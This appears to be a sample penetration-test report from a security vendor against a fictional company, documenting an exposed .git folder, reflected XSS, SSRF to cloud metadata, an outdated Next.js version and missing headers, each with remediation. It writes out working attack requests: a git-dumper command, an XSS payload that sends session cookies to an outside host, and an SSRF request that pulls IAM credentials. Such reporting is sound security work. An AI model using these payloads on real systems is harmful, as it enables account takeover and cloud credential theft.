Sample Evidence Dossier

Host	Service	Technology	Exposure
northwind.app	443/https	Next.js 13.4.12 · nginx	Outdated stack
app.northwind.app	443/https	Next.js · Node 18	Reflected XSS
api.northwind.app	443/https	Express · Node 18	SSRF
staging.northwind.app	443/https	nginx · Git-backed deploy	.git exposed
assets.northwind.app	443/https	Cloudfront · S3 origin	Hardened
docs.northwind.app	443/https	Docusaurus (static)	Informational
mail.northwind.app	25/smtp · 587	Postfix · SPF/DMARC set	Hardened

CV-01

Exposed .git directory leaks source code and live AWS keys

Critical CVSS 9.8 CWE-538

Exploit Verified

Description

The deploy directory for staging.northwind.app serves its .git folder over HTTP. We reconstructed the full commit history with git-dumper and recovered config/production.env, which contains a live AWS access key pair. The key is valid and maps to an IAM user with s3:* on the production asset bucket, with full read/write to customer data.

Proof

staging.northwind.app · 172.67.x.x:443REPRODUCED

▸ Request

GET /.git/config HTTP/2
Host: staging.northwind.app
User-Agent: Vulnytics/1.0 (+verify)
Accept: */*

◂ Response

HTTP/2 200 OK
content-type: application/octet-stream
content-length: 322

[core]
	repositoryformatversion = 0
[remote "origin"]
	url = git@github.com:northwind/platform.git
# git-dumper → config/production.env
AWS_ACCESS_KEY_ID=AKIA4XR2...QF7A
AWS_SECRET_ACCESS_KEY=wJalr...9c2H

Capture: reconstructed repository tree + validated key (STS GetCallerIdentity)

$ git-dumper http://staging.northwind.app/.git/ ./loot[-] Testing http://staging.northwind.app/.git/HEAD [200][-] Fetching .git/config .git/index .git/packed-refs [200][+] Reconstructing objects ........ 214 objects[+] Checked out working tree -> ./loot  (1,880 files) $ grep -R "AWS_" loot/config/production.envAWS_ACCESS_KEY_ID=AKIA4XR2...QF7AAWS_SECRET_ACCESS_KEY=wJalr...9c2H $ aws sts get-caller-identity{  "UserId": "AIDA4XR2QF7AEXAMPLE",  "Account": "409128557193",  "Arn": "arn:aws:iam::409128557193:user/ci-deploy"}✓ key is LIVE - IAM user holds s3:* on the prod asset bucket

Remediation

Treat the leaked key as compromised: rotate it now, then close the exposure.

Revoke AKIA4XR2…QF7A in IAM immediately and audit CloudTrail for use.
Block .git at the web tier: deny location ~ /\.git in nginx.
Deploy build artifacts only; never git clone onto a web root. Move secrets to a secrets manager.

Refs: OWASP WSTG-CONF-05 · CWE-538 Insertion of Sensitive Information

CV-02

Reflected XSS in search parameter allows session hijack

High CVSS 7.4 CWE-79

Exploit Verified

Description

The q parameter on app.northwind.app/search is reflected into the HTML response without encoding. A crafted link executes attacker JavaScript in the victim's authenticated session. Because the session cookie lacks HttpOnly, the payload can exfiltrate it directly and take over the account.

Proof

app.northwind.app · /searchPOC FIRED

▸ Request

GET /search?q="><svg/onload=
  fetch('//x.vulnytics-oob.net/'+document.cookie)> HTTP/2
Host: app.northwind.app
Cookie: session=eyJ...<valid>

◂ Response

HTTP/2 200 OK
content-type: text/html; charset=utf-8

<h2>Results for "><svg/onload=
fetch('//x.vulnytics-oob.net/'+document.cookie)></h2>
# payload reflected raw, not encoded
# OOB hit received: GET /session=eyJ... ✓

Capture: payload executing in-browser, victim cookie received at OOB listener

https://app.northwind.app/search?q="><svg/onload=fetch('//x.vulnytics-oob.net/'+document.cookie)>

app.northwind.app says

XSS-PoC fired in authenticated session.
document.cookie = session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjQ4MTIsInJvbGUiOiJhZG1pbiJ9

OK

OOB listener · x.vulnytics-oob.net10.42.11.6 - - [23/Jul/2026:16:04:52] "GET /?session=eyJhbGciOiJIUzI1NiIs...cbRA HTTP/1.1" 200✓ victim session cookie exfiltrated cross-origin (HttpOnly absent)

Remediation

Contextually encode all user input on output and harden the session cookie.

HTML-encode q before rendering; prefer framework auto-escaping (React JSX / {'{value}'}).
Set the session cookie HttpOnly; Secure; SameSite=Lax.
Add a Content-Security-Policy with default-src 'self' as defense-in-depth.

Refs: OWASP WSTG-INPV-01 · CWE-79 Cross-site Scripting

CV-03

Blind SSRF in webhook validator reaches cloud metadata (IMDS)

High CVSS 8.6 CWE-918

Exploit Verified

Description

The POST /api/v2/webhooks/validate endpoint fetches any URL supplied in callback_url with no allow-list. We confirmed out-of-band interaction (DNS + HTTP) to our controlled host, then pivoted the request to the EC2 instance metadata service and retrieved temporary IAM role credentials.

Proof

api.northwind.app · /api/v2/webhooks/validateOOB CONFIRMED

▸ Request

POST /api/v2/webhooks/validate HTTP/2
Host: api.northwind.app
Authorization: Bearer <tenant-token>
Content-Type: application/json

{"callback_url":"http://169.254.169.254/latest/
meta-data/iam/security-credentials/app-role"}

◂ Response

HTTP/2 200 OK
content-type: application/json

{"reachable":true,"body":"{
  \"Code\":\"Success\",
  \"AccessKeyId\":\"ASIA5F...T3PQ\",
  \"Token\":\"IQoJb3...\" }"}
# OOB DNS + HTTP callback also received ✓

Capture: OOB interaction log (DNS+HTTP) and IMDS role credentials in response

$ interactsh-client -json[INF] Listing 1 payload for OOB interaction polling[c8f1q9ka...oast.site] Received DNS  interaction (A)   from 34.201.x.x[c8f1q9ka...oast.site] Received HTTP interaction (GET) from 34.201.x.x[+] SSRF confirmed - server-side fetch reached our host $ cat imds-response.json{ "reachable": true,  "body": { "Code":"Success",    "AccessKeyId":"ASIA5F...T3PQ",    "SecretAccessKey":"3xKp9r...Hq2v",    "Token":"IQoJb3JpZ2luX2VjE...",    "Expiration":"2026-07-23T18:42:07Z" } }✓ temporary IAM role credentials exfiltrated via IMDSv1

Remediation

Constrain outbound fetches and remove the metadata attack path.

Enforce a strict allow-list of destination hosts; reject private/link-local ranges (169.254.0.0/16, RFC1918).
Require IMDSv2 (hop-limit 1, token-required) on all instances.
Resolve and re-validate the URL after DNS to prevent rebinding; fetch through an egress proxy.

Refs: OWASP WSTG-INPV-19 · CWE-918 Server-Side Request Forgery

CV-04

Outdated Next.js (13.4.12): server-side request forgery in image optimizer

Medium CVSS 5.9 CVE-2024-34351

Exploit Verified

Description

The main site runs Next.js 13.4.12, which is affected by CVE-2024-34351, a Host-header SSRF in the /_next/image optimizer for server actions. We fingerprinted the exact version from the build manifest and confirmed the optimizer follows an absolute URL supplied via the url parameter.

Proof

northwind.app · /_next/imageVERSION + BEHAVIOUR

▸ Request

GET /_next/image?url=//x.vulnytics-oob.net/a.png
  &w=64&q=75 HTTP/2
Host: northwind.app

◂ Response

HTTP/2 200 OK
x-powered-by: Next.js
# /_next/static/…/buildManifest.js →
#   "version":"13.4.12"
# optimizer fetched attacker URL (OOB ✓)

Capture: build manifest version pin and optimizer OOB fetch

$ curl -s https://northwind.app/_next/static/chunks/buildManifest.js \    | grep -o '"version":"[^"]*"'"version":"13.4.12"  # affected by CVE-2024-34351 $ curl -s "https://northwind.app/_next/image?url=//x.vulnytics-oob.net\    /a.png&w=64&q=75" -o /dev/null -w "%{http_code}\n"200-- interactsh --[oob] HTTP interaction from 44.210.x.x  ua=Next.js/13.4.12 Image Optimizer[+] optimizer fetched attacker-controlled URL -> CVE-2024-34351 confirmed

Remediation

Upgrade Next.js to a patched release and restrict remote image sources.

Upgrade to Next.js ≥ 14.1.1 (or ≥ 13.5.6 on the 13.x line).
Pin images.remotePatterns to trusted hosts only.
Add SCA to CI so component CVEs surface before deploy.

Refs: CVE-2024-34351 · CWE-1104 Use of Unmaintained Component

CV-05

Missing security response headers (CSP, HSTS, X-Frame-Options)

Low CVSS 4.3 CWE-693

Exploit Verified

Description

Responses from app.northwind.app omit key hardening headers. There is no Content-Security-Policy (raising XSS impact, see CV-02), no Strict-Transport-Security (allowing SSL-strip), and no X-Frame-Options (clickjacking). We confirmed the app renders inside an attacker-controlled iframe.

Proof

app.northwind.app · response headersCONFIRMED

▸ Request

HEAD / HTTP/2
Host: app.northwind.app

◂ Response

HTTP/2 200 OK
server: nginx
content-type: text/html
# absent:
content-security-policy       missing
strict-transport-security     missing
x-frame-options               missing

Capture: app framed inside attacker page (clickjacking PoC)

https://prizes.attacker.example/claim

You won a $500 gift card

Tap the button below to claim your reward now

CLAIM NOW

iframe · app.northwind.app (opacity 0.14)

Delete account & all data?

Confirm delete

✓ app.northwind.app rendered inside cross-origin iframe (X-Frame-Options / frame-ancestors absent)the “CLAIM NOW” lure sits exactly over the framed “Confirm delete” control

Remediation

Add the missing headers at the edge / reverse proxy.

Content-Security-Policy: default-src 'self' (tune per app).
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY (or CSP frame-ancestors 'none').

Refs: OWASP Secure Headers Project · CWE-693 Protection Mechanism Failure

Every finding here was proven, not guessed.

What we found, and how much of it is real

Discovered hosts & services

Findings, ordered by severity

This is what your buyer would receive.